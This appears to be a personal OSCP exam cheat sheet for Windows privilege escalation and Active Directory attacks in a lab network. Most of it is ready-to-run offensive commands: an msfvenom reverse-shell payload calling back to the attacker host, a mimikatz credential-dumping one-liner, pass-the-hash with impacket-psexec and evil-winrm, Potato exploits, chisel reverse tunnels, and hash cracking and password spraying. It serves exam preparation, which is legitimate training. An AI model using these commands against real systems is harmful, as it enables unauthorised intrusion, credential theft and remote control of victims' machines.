

## Network map:

Kali → internet → DMZ → MS01

→ DC01

## Score Structure:

DMZ admin 10 pt

MS01 admin 10 pt

DC01 admin 20 pt

## Important:

Situational awareness: OSCP is a fundamental penetration testing certification, AV evasion, credential guard by pass, 0 day OS vulnerabilities are unlikely

## Privilege escalation

1. Initial access with winrm, rdp, or ssh
  - a. Rabbit hole:
    - i. Another session in RDP, login with evil-winrm and end session
    - ii. Non default port: always -p- on nmap
2. whoami /priv
  - a. SeImpersonatePrivilege
    - i. Potato family exploit: PetitPotato covers 80% of machines
      1. Evil-winrm shell is unstable for PetitPotato.exe 3 cmd, run mimikatz, dump NTLM and pass-the-hash
    - ii. Service accounts will always have SeImpersonatePrivilege enabled, reflect shell or pivot
  - b. Remote shutdown
    - i. If this is present, service (exe or dll) hijack is almost guaranteed
    - ii. If the reflected shell is still low privilege or the same account, it is worth it to check the reflected shell's privilege as SeImpersonatePrivilege might be enabled
3. Interesting files
  - a. Powershell
    - i. Get-ChildItem C:\Users -Recurse -Include \*.txt,\*.ini,\*.kdbx,\*.config,\*.ps1,\*.log,\*.git, \*.zip -ErrorAction SilentlyContinue
      1. If password protected: use jtr

- ii. `Get-ChildItem C:\ -Recurse -Include*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue`
  - b. WinPEASx64.exe
  - c. manual check
    - i. C:\
    - ii. Desktop, Documents, Downloads of all accessible user
- 4. PowerUp.ps1
  - a. Invoke all checks
- 5. WinPEASx64.exe (check for unquoted space, dll, exe hijack and scheduled tasks)
  - a. Plug results into payload all the things
    - i. <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master>
  - b. Hijacking payload generation
    - i. `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<tun0> LPORT=<port> -f (exe or dll) -o rev.(exe or dll)`
- 6. Seatbelt & SharpUp Quick Filters
  - a. `Seatbelt.exe -group=*cred* -outputfile seatbelt_creds.txt`
  - b. `SharpUp.exe --User --Password --Privilege --Services`
- 7. Show all ports (if you got to this, you probably missed something):
  - a. `netstat -a -b`
    - i. chisel to expose the port to kali, poke with nc or telnet

## Post Elevation, Persistence and Pivoting

- 1. mimikatz
  - a. `.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit >> log.txt` (this is done so that non interactive shells don't impede function)
    - i. Rabbit hole
      - 1. All sekurlsa fails
        - a. Credential guard installed (irrelevant to exam progression)
        - b. DC handling NTLM only, make sure to impacket the DC with user list
    - ii. NTLM
      - 1. Crack with hashcat -m 1000, no rules needed all password crackable with rockyou.txt or it's not supposed to be cracked
      - 2. Persistence with pass the hash
        - a. `impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:d6e4bd1f3383790ae1578d6a9bc1b0ed john@192.168.45.164`

- b. `evil-winrm -H d6e4bd1f3383790ae1578d6a9bc1b0ed -u john -I 192.168.45.164`

## 2. bloodhound

- a. `sharphound.exe`
  - i. `.\SharpHound.exe -c All`
    - 1. If collection fails, use Potato exploit to elevate to system shell and attempt again
- b. Check control of
  - i. Local admin (do note that DC administrator and local admin is overlapping so it's not a reliable pivot)
  - ii. Computer (system)
  - iii. Low privilege user
- c. GenericAll
  - i. Bloodhound GUI will recommend attack
  - ii. `StandIn.exe` if Bloodhound has no recommendation for GPO abuse
  - iii. Interested in Domain Administrators Group

## 3. File enumeration

- a. Scripting
  - i. `Get-ChildItem C:\Users -Recurse -Include *.txt,*.ini,*.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue`
    - 1. If password protected: use `jtr`
  - ii. `Get-ChildItem C:\ -Recurse -Include *.kdbx,*.config,*.ps1,*.log,*.git, *.zip -ErrorAction SilentlyContinue`
- b. Manual
  - i. Desktop, Documents, Downloads of all accessible user

## 4. Chisel

- a. General exposure (one way)
  - i. Kali: `chisel server --port 8080 --reverse`
  - ii. Target: `.\chisel.exe client <myip>:8080 R:socks`
- b. Single Port (two way)
  - i. `.\chisel.exe client <kali> :<port> 0.0.0.0:<exposed local port>:<kali>:<port>`
    - 1. On kali target the DMZ instead of the internal IP of what's behind the DMZ
    - 2. Proxychains should be set to 1080

## 5. Impacket spray

- a. `impacket-GetUserSPNs`

- b. impacket-GetNPUsers
  - c. impacket\_MSSQLClient
  - d. impacket-psexec
- 6. System32
  - a. Either live in MS01 windows or windows.old in C:\
    - i. Download SYSTEM and SAM in the system32 folder
      - 1. Crack with /usr/share/creddump7/pwdump.py SYSTEM SAM
- 7. Spray passwords/ hashes
  - a. User list with net user /domain
    - i. Crackmapexec